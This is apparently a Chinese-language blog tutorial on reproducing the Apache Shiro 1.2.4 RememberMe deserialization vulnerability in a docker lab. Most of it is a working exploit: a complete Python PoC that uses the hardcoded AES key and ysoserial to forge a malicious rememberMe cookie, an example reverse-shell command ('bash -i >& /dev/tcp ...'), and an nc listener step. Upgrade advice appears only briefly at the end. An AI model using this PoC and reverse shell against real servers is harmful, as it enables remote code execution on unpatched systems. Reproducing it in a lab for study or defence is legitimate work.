shiro RememeberMe 1.2.4反序列化漏洞

shiro簡介:

shiro(Java安全框架):apache shiro 是一個強大且易用的java安全框架框架,執行身份驗證 、授權、密碼和會話管理。使用shiro的易於理解的API,可以快速、輕鬆的獲得任何應用程序,從最小的的移動應用程序到最大的網絡和企業應用程序。apache shiro在java的權限及安全驗證框架中佔有重要的一席之地,在它編號爲550的issue中爆出過嚴重的java反序列化漏洞。下面我來教大家復現這個漏洞。

漏洞描述:

官方issues通告:shiro的issues

產生漏洞的原因:

shiro對rememeberme的cookie做了加密處理,shiro在cookieremembermeManaer類中將cookie中的rememberme字段內容分別進行序列化,aes加密,base64編碼操作,在識別身份的時候,需要對cookie裏的rememberme字段解密,根據加密的順序,不難指導解密的順序爲:

  1. 獲取rememberme cookie
  2. base64 decode
  3. 解密aes
  4. 反序列化

但是,其中aes加密的密鑰key被硬編碼在代碼裏,意味着每個人通過源代碼都能拿到aes加密的密鑰,因此,攻擊者構造一個惡意的對象,並且將其序列化,aes加密,base64編碼後,作爲cookie的rememberme字段發送,shiro將rememberme進行解密並且反序列化,最終造成了反序列化漏洞。

漏洞復現:

目前有兩個復現方式:

1:從GitHub上獲取apahce shiro存在漏洞的源代碼:

2:使用docker鏡像復現

使用docker鏡像復現漏洞:

獲取docker鏡像:

docker pull medicean/vulapps:s_shiro_1

docker run -d -p youport:8080 medicean/vulapps:s_shiro_1

安裝ysoserial的jar文件:

git clone https://github.com/frohoff/ysoserial.git *作者更新了,下載的jar包的版本號可能不一樣,以下的命令請注意版本號的修改*
cd ysoserial
mvn package -DskipTests cp ysoserial-0.0.5-SNAPSHOT-all.jar /tmp 

注意:kali不自帶mvn命令,需要自己下載:linux下載mvn命令

然後訪問ip地址+youport 環境搭建成功

然後我們開始抓包:

點擊account page頁面進去後是要求你登錄,你選擇頁面上提示的賬號密碼登錄,記得登錄時勾選下方的rememeber選項。店家抓包。

第一個包放過,選擇接受返回包,然後將這個頁面的數據發送到repter裏面

我們的主要目標就是這個裏面的cookie裏的rememeber參數

poc準備:

*注意ysoserial的版本號,下載的什麼版本填什麼版本*

下列poc代碼複製到本地命名爲:shiro_poc.py

# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("/tmp/payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)

python3執行該腳本:

使用方式:python3 shiro_poc.py "你的命令"

舉例:python3 shiro_poc.py "bash -i >& /dev/tcp you ip/port 0>&1"

然後我們會在執行腳本的目錄下發現payload.cookie文件,查看文件複製其中的cookie值到之前抓包的數據包內替換其cookie值。

本地開啓nc監聽:

nc -lvvp port

反彈shell

 

 

修復方案:

1、升級shiro版本

2、修改文件中硬編碼的密鑰

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章